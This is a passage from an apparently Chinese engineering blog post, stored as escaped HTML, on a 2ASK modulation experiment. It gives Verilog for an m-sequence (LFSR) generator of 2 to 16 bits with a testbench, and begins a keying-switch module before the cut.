class=\"headerlink\" title=\"3.m序列产生模块\"\u003e\u003c/a\u003e3.m序列产生模块\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_45015947/article/details/89891757\"\u003em序列产生原理及其性质_Angelo_pj的博客-CSDN博客_m序列\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/377685193\"\u003e【verilog杂谈(一)】 2-16位长度的m序列发生器 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e要求:按原理2.3节设计m序列产生模块,要求产生不同长度的m序列。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e代码根据实验要求修改自参考链接,可以产生2~16位的m序列。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emxulie.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e mxulie#\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// parameter range from 2 to 16\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e m_sequence \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// shift reg\u003c/span\u003e \u003cspan class=\"token function\"\u003ecase\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e9\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edefault\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendcase\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e//~ `New testbench\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_mxulie\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// M_series Parameters\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e M_len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Inputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Outputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk\u003cspan class=\"token operator\"\u003e=~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emxulie #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elen \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e M_len \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emxulie_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003em_sequence \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_sequence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/m%E5%BA%8F%E5%88%97.png\"/\u003e\u003ch3 id=\"4-键控开关\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#4-%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3\" class=\"headerlink\" title=\"4.键控开关\"\u003e\u003c/a\u003e4.键控开关\u003c/h3\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3.png\" style=\"zoom:50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e键控开关示意图图上图所示,其中data[7:0]端输入载波信号,gate端输入基带码元,当gate信号为1时,载波信号通过,如果gate信号为0时,载波信号不能通过。模块的输出端q[7:0]输出2ASK已调信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003elpm_gate.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003elpm_gate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e gate\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token 